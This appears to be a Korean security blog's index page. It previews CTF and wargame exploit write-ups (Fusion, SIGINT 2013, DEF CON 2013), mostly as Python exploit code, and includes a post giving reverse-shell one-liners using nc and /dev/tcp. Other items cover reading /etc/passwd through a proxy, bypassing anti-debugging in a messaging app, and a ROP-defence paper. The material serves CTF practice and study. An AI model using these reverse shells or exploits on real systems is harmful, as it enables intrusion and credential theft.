본문 바로가기

Computer Security

[exploit-exercises] Fusion level 03 from socket import * from struct import * import hmac from hashlib import sha1 # contents: 0x804bdf4 # 0804: 0x8048584+7 # 8f: 804bda4+1 # 30: 80482a4 rand_plt = 0x08048f30 rand_got = 0x804bd98 memcpy = 0x8048e60 gContents = 0x804bdf4 ppppr = 0x804a26c pop_ebx = 0x8049402 # pop ebx ; pop ebp ;; pop_eax = 0x8049b4f # pop eax ; add esp 0x5c ;; add_eax_ebx = 0x80493f9 # add eax 0x804bde4 ; add [ebx.. 더보기
시스템함수를 통한 리버스텔넷 (추가) 몇몇 라이트업들을 보니 "nc -e /bin/sh IP PORT" 등으로 리버스텔넷을 하는 경우가 있다.근데, 난 안됀다... e옵션이 없다.그래서 찾아본 다른 방법 victimsystem("mkfifo /tmp/tunz; nc IP PORT 0 /tmp/tunz") attacker$ nc -l -p PORT -vvv (단, 접속후 큐파일, /tmp/tunz은 꼭 지우도록 한다.) 추가) /bin/bash -i >& /dev/tcp/IP/PORT 0>&1 /dev/tcp 가 있으면 그냥, 저기에 IP,PORT만 써넣으면 됌 더보기
[exploit-exercises] Fusion level 02 from socket import * from struct import * import time def cipher(s,key): i=0 after="" while i 더보기
[SIGINT 2013] trollsex(tr0llsex) exploit import socket import sctp from struct import * s = sctp.sctpsocket_tcp(socket.AF_INET) s.connect(('188.40.147.118',1024)) #s.connect(('127.0.0.1',1024)) print s.recv(1024) cmd = "system\x00" s.sctp_send(cmd+"A"*(24-len(cmd))+pack(' 더보기
[SIGINT 2013] mail exploit import smtplib import sys sender = 'hans@ck.er' receivers = ['test@b3.ctf.sigint.ccc.de'] if sys.argv[1] == "tunz": message = """From: ~~~~~~your email address~~~~~~ To: cloud Subject: get passwd This is a test e-mail message. """ else: message = """From: /../../../../../../../etc@asdf.com To: cloud Subject: share passwd ~~~~~~your email address~~~~~~ This is a test e-mail message. """ print mes.. 더보기
[SIGINT 2013] proxy exploit from socket import * import sys s = socket(AF_INET, SOCK_STREAM) s.connect(('188.40.147.125',8080)) #s.connect(('localhost',8080)) s.send("GET file://localhost/etc/passwd HTTP/1.1\r\n\r\n") get=s.recv(65000) print get 더보기
카톡킨상태로 올리디버거 사용하기 카톡이 더미다로 패킹이 되어있어서, 올리디버거를 감지하면 카톡이 꺼진다. 그럴때 사용하는 플러그인 더보기
[defcon 2013] annyong exploit 대회때 푼건 아니고, 끝나고 연습용으로 품. 64bit, PIE, xinetd 환경. 실제 대회에서는 system offset은 브루트포싱으로 알아낼수있음. from socket import * from struct import * import sys cmd = "ls -al\x00" s = socket(AF_INET,SOCK_STREAM) s.connect(('localhost',5679)) # mov rdi rsi 0x1086 # write 0xfe3 s.send("%265$p\n") get=s.recv(1024) base_addr = int(get[2:],16) - 0x1127 print "base_addr: "+hex(base_addr) s.send("%4$p\n") get=s.recv(1024).. 더보기
Hindering ROP Using In-Place Code Randomization 요즘 보안쪽 논문을 보면, 생각했던것과 많이 달라 이쪽 대학원을 가야하나 말아야하나 망설여지지만, 그중 이 논문은 가장 괜찮았다. Smashing the Gadgets: Hindering Return-Oriented Programming Using In-Place Code Randomization ROP gadget을 없애는 방법을 제시하고있는데, 그중 가장 기억에 남는건 첫번째 방법인 Atomic Instruction Substitution이다. linux계열을 ROP로 공격할땐, 별로 소용이 없을것 같긴 하지만,windows계열에서는 꽤나 도움이 될듯하다. 이 논문에서 예를 든건 cmp al,bl 과 같은것들을 cmp bl,al로 바꿈으로써, ret(C3)를 없앤다는 내용이다.의미상으로는 전혀 다른게.. 더보기
[defcon 2013] gnireenigne, musicman, exploit 파일 헤더의 41~44바이트 부분을 조작함으로써, ReadChar 함수에서 읽는 부분을 조작할 수 있다. 이렇게 오프셋을 100만칸 옮기고, 파일을 다운받는다. 그리고 , IDA로 ReadChar의 소스를 긁어와서 컴파일 한후, 다운받은 파일을 다시 글자로 변환한다. from socket import * from struct import * s = socket(AF_INET,SOCK_STREAM) s.connect(('musicman.shallweplayaga.me',7890)) length=0 f = open('file','wb') while True: get=s.recv(0xffff) f.write(get) length = length + len(get) if length >= 211724: brea.. 더보기